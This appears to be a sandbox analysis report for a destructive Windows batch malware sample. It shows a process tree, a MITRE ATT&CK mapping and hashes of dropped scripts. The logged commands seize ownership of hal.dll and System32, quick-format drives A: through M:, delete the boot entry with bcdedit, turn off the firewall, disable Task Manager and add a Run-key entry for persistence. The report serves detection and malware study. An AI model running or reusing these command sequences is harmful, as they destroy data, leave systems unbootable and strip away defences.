- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\drivers" /r
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3524
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\drivers" /reset /t /c /q
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:6604
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\drivers\*.*"
    3⤵
    - Views/modifies file attributes
    PID:7824
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:8416
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:8424
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:8432
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:8452
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:8476
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:8496
- - C:\Windows\system32\format.com
    format /y /q A:
    3⤵
    PID:8928
- - C:\Windows\system32\format.com
    format /y /q B:
    3⤵
    PID:9108
- - C:\Windows\system32\format.com
    format /y /q D:
    3⤵
    PID:2108
- - C:\Windows\system32\format.com
    format /y /q E:
    3⤵
    PID:8592
- - C:\Windows\system32\format.com
    format /y /q F:
    3⤵
    PID:4324
- - C:\Windows\system32\format.com
    format /y /q G:
    3⤵
    PID:10356
- - C:\Windows\system32\format.com
    format /y /q H:
    3⤵
    PID:6924
- - C:\Windows\system32\format.com
    format /y /q I:
    3⤵
    PID:12124
- - C:\Windows\system32\format.com
    format /y /q J:
    3⤵
    PID:12292
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:836
- C:\Windows\system32\notepad.exe
  notepad
  2⤵
  PID:4496
- C:\Windows\system32\calc.exe
  calc
  2⤵
  PID:3368
- C:\Windows\system32\mspaint.exe
  mspaint
  2⤵
  PID:4052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
  2⤵
  PID:4272
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5948
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /reset /c /q
    3⤵
    - Modifies file permissions
    PID:5980
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\hal.dll"
    3⤵
    - Views/modifies file attributes
    PID:5992
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\Twain_32.dll"
    3⤵
    - Possible privilege escalation attempt
    PID:6100
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\Twain_32.dll" /reset /c /q
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:6120
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\Twain_32.dll"
    3⤵
    - Views/modifies file attributes
    PID:6132
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
    3⤵
    PID:5212
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:3368
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:5640
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:3760
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current}
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K Taskdl.bat
    3⤵
    PID:5956
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32" /r
      4⤵
      Modifies file permissions
      PID:5456
- - C:\Windows\system32\wscript.exe
    WScript Informacion.vbs
    3⤵
    PID:5988
- - C:\Windows\system32\ipconfig.exe
    ipconfig /release
    3⤵
    - Gathers network information
    PID:5616
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h *.*
    3⤵
    - Views/modifies file attributes
    PID:5376
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:7152
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:7160
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:6096
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:6336
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:6752
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:4868
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:6996
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:6772
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:7200
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:7316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:7412
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6588
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      PID:8348
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:8440
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8964
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Modifies file permissions
      PID:9052
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:9204
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:4740
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:624
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:2056
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:6952
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:9028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:9096
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        5⤵
        Modifies file permissions
        
        PID:1192
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:6024
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:9072
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      Views/modifies file attributes
      PID:1988
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:9848
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:7652
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10392
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10500
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10620
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10820
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10972
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:11100
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:7000
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:9968
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:10984
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:12492
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:12764
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:12952
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:13108
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:7420
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:7428
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:7436
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:7444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:7932
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8364
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      Modifies file permissions
      PID:8748
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:8844
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9100
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Modifies file permissions
      PID:3612
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:7232
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:9116
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:6068
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:8988
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:8276
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1280
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:11140
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:10612
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:10284
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:10436
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:8056
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:8084
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:8112
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:6180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:6684
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:7748
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      Modifies file permissions
      PID:8236
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:8596
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8984
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      PID:9060
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:9196
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:5268
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:8536
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:2052
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:8884
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4032
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:5268
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        5⤵
        Modifies file permissions
        
        PID:5552
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:9960
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:2652
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      Views/modifies file attributes
      PID:11200
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:4764
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:7532
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:7384
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:7508
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\drivers" /r
    3⤵
    - Modifies file permissions
    PID:6720
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\drivers" /reset /t /c /q
    3⤵
    - Modifies file permissions
    PID:7024
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\drivers\*.*"
    3⤵
    - Views/modifies file attributes
    PID:7384
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:7024
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:3948
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:7520
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:4736
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:6612
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:6604
- - C:\Windows\system32\format.com
    format /y /q A:
    3⤵
    PID:4744
- - C:\Windows\system32\format.com
    format /y /q B:
    3⤵
    PID:8856
- - C:\Windows\system32\format.com
    format /y /q D:
    3⤵
    PID:9068
- - C:\Windows\system32\format.com
    format /y /q E:
    3⤵
    PID:7648
- - C:\Windows\system32\format.com
    format /y /q F:
    3⤵
    PID:8516
- - C:\Windows\system32\format.com
    format /y /q G:
    3⤵
    PID:10248
- - C:\Windows\system32\format.com
    format /y /q H:
    3⤵
    PID:10360
- - C:\Windows\system32\format.com
    format /y /q I:
    3⤵
    PID:11936
- - C:\Windows\system32\format.com
    format /y /q J:
    3⤵
    PID:9912
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:3336
- C:\Windows\system32\notepad.exe
  notepad
  2⤵
  PID:5160
- C:\Windows\system32\calc.exe
  calc
  2⤵
  PID:5280
- C:\Windows\system32\mspaint.exe
  mspaint
  2⤵
  PID:5300
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\drivers" /r
  2⤵
  - Possible privilege escalation attempt
  PID:5504
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\drivers" /reset /t /c /q
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:6816
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h "C:\Windows\System32\drivers\*.*"
  2⤵
  - Views/modifies file attributes
  PID:6100
- C:\Windows\system32\wscript.exe
  WScript ErrorCritico.vbs
  2⤵
  PID:6804
- C:\Windows\system32\wscript.exe
  WScript Advertencia.vbs
  2⤵
  PID:7240
- C:\Windows\system32\wscript.exe
  WScript ErrorCritico.vbs
  2⤵
  PID:7328
- C:\Windows\system32\wscript.exe
  WScript Advertencia.vbs
  2⤵
  PID:7664
- C:\Windows\system32\wscript.exe
  WScript ErrorCritico.vbs
  2⤵
  PID:7760
- C:\Windows\system32\wscript.exe
  WScript Advertencia.vbs
  2⤵
  PID:7784
- C:\Windows\system32\format.com
  format /y /q A:
  2⤵
  PID:8144
- C:\Windows\system32\format.com
  format /y /q B:
  2⤵
  PID:4632
- C:\Windows\system32\format.com
  format /y /q D:
  2⤵
  PID:8776
- C:\Windows\system32\format.com
  format /y /q E:
  2⤵
  PID:9008
- C:\Windows\system32\format.com
  format /y /q F:
  2⤵
  PID:8208
- C:\Windows\system32\format.com
  format /y /q G:
  2⤵
  PID:9116
- C:\Windows\system32\format.com
  format /y /q H:
  2⤵
  PID:8308
- C:\Windows\system32\format.com
  format /y /q I:
  2⤵
  PID:9016
- C:\Windows\system32\format.com
  format /y /q J:
  2⤵
  PID:8276
- C:\Windows\system32\format.com
  format /y /q K:
  2⤵
  PID:8988
- C:\Windows\system32\format.com
  format /y /q L:
  2⤵
  PID:1196
- C:\Windows\system32\format.com
  format /y /q M:
  2⤵
  PID:5552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
  2⤵
  PID:10704
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll"
    3⤵
    PID:1100
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /reset /c /q
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:12612
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\hal.dll"
    3⤵
    - Views/modifies file attributes
    PID:13008
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:10884
- C:\Windows\system32\notepad.exe
  notepad
  2⤵
  PID:11040
- C:\Windows\system32\calc.exe
  calc
  2⤵
  PID:11192
- C:\Windows\system32\mspaint.exe
  mspaint
  2⤵
  PID:10344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
  2⤵
  PID:10724
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll"
    3⤵
    - Possible privilege escalation attempt
    PID:13116
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:11236
- C:\Windows\system32\notepad.exe
  notepad
  2⤵
  PID:10828
- C:\Windows\system32\calc.exe
  calc
  2⤵
  PID:11372
- C:\Windows\system32\mspaint.exe
  mspaint
  2⤵
  PID:11564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
  2⤵
  PID:12136
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:11836
- C:\Windows\system32\notepad.exe
  notepad
  2⤵
  PID:11824
- C:\Windows\system32\calc.exe
  calc
  2⤵
  PID:11968
- C:\Windows\system32\mspaint.exe
  mspaint
  2⤵
  PID:12056
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\Kswdmcap.ax"
  2⤵
  PID:12524
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\Kswdmcap.ax" /reset /c /q
  2⤵
  PID:13048

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x410 0x4ec
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
PID:3968

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:4316

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:5152

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:5412

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:6556

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:6648

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:6832

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:4032

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:7192

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:7768

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:8132

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:7676

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:4032

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:3244

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:8984

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:6716

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:9304

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:5604

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:4324

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:624

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:11544

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:11660

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:11764

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:11912

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:8580

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:8460

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:12396

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:12820

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:13284

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Replication Through Removable Media

T1091

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Advertencia.vbs

Path C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs
Size 63B
SHA256 1db6458800616839e864831147cc6d91845825e365925151f649b5d998152273
MD5 4cb4efde0d2476b32d5a347a52df6c1b
SHA1 d2b3d042dfc64cc15b41b83b6f0252497a515e95
SHA512 1a676aec628275f5812bc99f7055713986579304df42328559b7a0adeb99601a2a680144a0f3b1685a0126c034cbf9f75ac89cb5cd1c8ca87f7e68824771ebce
MD5 SHA1 SHA512

Submit Download

Autorun.inf

Path C:\Users\Admin\AppData\Local\Temp\Autorun.inf
Size 74B
SHA256 12a5135510016abcfe1192aceb6fec42634346661d778d68be1debaa3d75e967
MD5 b39df423c6e5978065a9a8ec4879a3b4
SHA1 96441a7a7d8090f7a96a1160f539531f66568e88
SHA512 2d583fcae1ec73f836c5b66b8b1337bb4250a8230073de96d501a4fab5f522b75599ac2a1fcf1457a841d8c84bcccb88feade82f49357b28345c63d9526cfeb4
MD5 SHA1 SHA512

Submit Download

Bytebeat.sk

Path C:\Users\Admin\AppData\Local\Temp\Bytebeat.sk
Size 14KB
SHA256 b9da7f848a953f0fcdd3430f97907c855eb22ca8336acb7f2b3c92551f9070ae
MD5 e9841c90b8efdfe12adb284675c29fed
SHA1 10f797135dcb84eee2aea29d4d0ad003bfa60152
SHA512 b63b7598aacd91d7798c9832a10815320a75d76dc550a79b0229e00d7fbddc4ac26f4b81afa5e459bf949b8a23c4036e5b8fe6078b9b66b90145f3985f94ef72
SSDEEP 192:EzXFz1dPRSbjGCrtsjpUaGLJXVpKWvtfj0Hr1TgZLxSayxldQ8PHC2XGNAwFtx4P:EJdAbrM21q0j0L1qEzdQ8PigfwTxX8j
MD5 SHA1 SHA512 SSDEEP

Submit Download

Bytebeat.sk

Path C:\Users\Admin\AppData\Local\Temp\Bytebeat.sk
Size 4KB
SHA256 a433a30536bb1fbf154fddd724df778b08d89b90b9fe378b2f611d2168ac5922
MD5 195153cdabe4214778bf82670f6a2ddd
SHA1 a9213552e81a0e99d92bc2f1e160d0857945a94b
SHA512 59e8e4f366e93409a4d391b99ec67cd861afa6727850ece5285b7d7fb606e69c83e1d1dc60c94c1dd9df84dd0765be33c2255cdc5233ff01a39cdd7f2eda3b4b
SSDEEP 96:R2mjT4ZXFz1dPb19OBbjmb7TBErt0jVjpUaXWhEig:EzXFz1dPRSbjGCrtsjpUaGLg
MD5 SHA1 SHA512 SSDEEP

Submit Download

ErrorCritico.vbs

Path C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs
Size 57B
SHA256 ae3ab245b4001b487205480988a1aa775de104faf0e5d9c43dd3d1cf285196a1
MD5 5420b2137427b07b4d6a585ae3b69e08
SHA1 feb511d0b40064ab8a491caf699f5959bc9d4716
SHA512 2d5e64f315b8d72e7ff178042cb131baf0d982e74c09455911358ab3552e6e5919ac5f567b1cf31f91ad5613f2b91c5eff5e251e014c230490e4a323da7a7946
MD5 SHA1 SHA512

Submit Download

Informacion.vbs

Path C:\Users\Admin\AppData\Local\Temp\Informacion.vbs
Size 71B
SHA256 48ee941955387e29c12380d852a363bdf22ef49897c0bd814aaeacba6bc852aa
MD5 c50b8418d9f7ec5980f0bcd9bca4a735
SHA1 d00d3064b043e6cb78476d7820998d9b89f9fdc7
SHA512 0b71f8c7bb3d9be0017dd30cb25500df4a04d77234c9ed36222fda37af1a2b66dc8fccd2fe8c27f164bef7b892e9a6b1745469623cb71f3c3a1700509165f6f1
MD5 SHA1 SHA512

Submit Download

MouseMove.ps1

Path C:\Users\Admin\AppData\Local\Temp\MouseMove.ps1
Size 961B
SHA256 90926fb4c17f32f4ea75cfa477f6d268f4246ced5907db59bafe468a60190005
MD5 fc33e01cce864c6cd9a3cd230acb3594
SHA1 d6244cd6a26139a139605040e6af4c57f6c3024a
SHA512 bfca787a6342d3f276afba162844491b437011ae0e582516de70cd9004422dd9f0cfe520a1a171f495f5398c74056f6961b00471d8d59e86dc061810279dae91
MD5 SHA1 SHA512

Submit Download

